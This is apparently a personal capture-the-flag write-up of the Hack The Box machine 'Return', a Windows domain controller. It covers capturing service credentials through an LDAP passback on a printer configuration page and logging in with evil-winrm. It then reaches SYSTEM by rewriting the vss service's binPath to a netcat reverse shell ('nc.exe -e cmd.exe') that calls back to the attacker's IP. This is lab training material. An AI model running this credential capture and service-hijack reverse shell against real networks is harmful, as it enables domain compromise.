← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Return.md

IP: 10.129.95.241
OS: Windows (Server 2019, Build 17763) — DC for return.local
Difficulty: Easy
Date: 2026-10-29
Source: HTB

Nmap

nmap -sV -sC -p- 10.129.95.241

Open ports:

Port profile = Domain Controller for return.local.

Enumeration

Web

Directory scan:

301 - /images
200 - /index.php
200 - /index.php/login/
200 - /settings.php

/settings.php = printer config page: Server Address, Port (389), Username (svc-printer), masked Password.

SMB

nxc smb <IP> -u 'guest' -p ''            # STATUS_ACCOUNT_DISABLED — no guest/NULL
nxc smb <IP> -u 'svc-printer' -p '1edFg43012!!' --users

With valid creds, users enumerated:

Other

Foothold

Vulnerability: LDAP passback — the printer panel sends its stored credentials, in cleartext, to whatever Server Address you configure.

Start a listener on the LDAP port

nc -lvnp 389


Update the printer configuration

Set panel Server Address → your VPN IP, then click Update.

Capture the cleartext credentials

0*`%return\svc-printer  1edFg43012!!

Authenticate over WinRM

evil-winrm -i return.local -u svc-printer -p '1edFg43012!!'

Creds: svc-printer : 1edFg43012!!

Privilege Escalation

Vector: svc-printer is a member of BUILTIN\Server Operators (S-1-5-32-549).

whoami /groups

Technique: Service binPath hijack. Server Operators can reconfigure + restart services; services run as LocalSystem → rewrite a service’s binary path to your payload, restart it, get SYSTEM.

Upload netcat

The binPath must match this path exactly.

upload /usr/share/windows-resources/binaries/nc.exe

Point vss at the payload

vss is expendable and runs as LocalSystem.

sc.exe config vss binPath="C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.15.108 1234"

Start the listener first

nc -lvnp 1234

Restart the service

FAILED 1053 is the expected success signal.

sc.exe stop vss
sc.exe start vss

Confirm SYSTEM access

C:\Windows\system32> whoami
nt authority\system

Flags

Lessons Learned

← BACK TO WRITEUPSMAZEN. / HOME